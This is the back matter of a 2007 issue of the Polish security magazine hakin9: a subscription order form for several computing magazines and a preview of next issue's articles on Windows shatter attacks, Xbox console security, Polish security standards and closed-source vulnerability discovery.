Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 Cena prenumeraty dwuletniej Aurox Linux

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

background image

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku sierpnia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

 8/2007 

w następnym numerze 

między innymi:

Zapowiedzi

Shatter attack–nadużycia z wykorzystaniem 

komunikatów w Windows

Stosowany w Windows mechanizm sterowana interfejsem graficznym został 
zaprojektowany w czasach, gdy mało kto myślał o bezpieczeństwie. Dlate-
go też może zostać bez trudu wykorzystany do obejścia przez intruza ogra-
niczeń (na przykład zapór sieciowych) lub uzyskania wyższych przywilejów 
w systemie.

Luki w zabezpieczeniach konsol Xbox300 i 360

Artykuł przedstawia opis zabezpieczeń (softwarowych i hardwarowych) kon-
soli Xbox oraz sposoby ich łamania. Następnie opisuje  w ten sam sposób 
Konsolę Xbox 360. Tekst zawiera porównanie tych dwóch konsol i wyjaśnia, 
co MS zmienił na lepsze, czego nie ruszył itp. Oczywiście w przypadku Xbox 
360  poruszone  zostały  trzy  najważniejsze  sprawy:  firmware  hack,  lukę  w 
Hypervisorze, downgrade kernela używając modchipu Infectus.

Bezpieczeństwo informacji w polskich normach

Polskie normy dotyczące bezpieczeństwa informacji obok przepisów prawa 
oraz  standardów  branżowych  stanowią  tzw.  najlepsze  praktyki,  wytyczne 
dla  organizacji  lub  wymagania  w  przypadku  podjęcia  decyzji  o  wdrożeniu 
w instytucji systemu zarządzania bezpieczeństwem informacji według PN-
ISO/IEC 27001: 2007

Wykrywanie podatności w aplikacjach z 

zamkniętym kodem

Wykrywanie podatności w aplikacjach nie oferujących otwartego kodu jest 
ciężką pracą. Nie mając dostępu do kodu, trudno wykryć potencjalny punkt 
ataku. Trudne jest również znalezienie samej podatności i udowodnienie jej 
istnienia.

NA CD:

•   hakin9.live 4.0.0. on BackTrack2.0
•   mnóstwo narzędzi – niezbędnik hakera;
•   tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach;
•   dodatkowa dokumentacja;
•   pełne wersje komercyjnych aplikacji.

Atak

Obrona

Obrona

Atak

background image
background image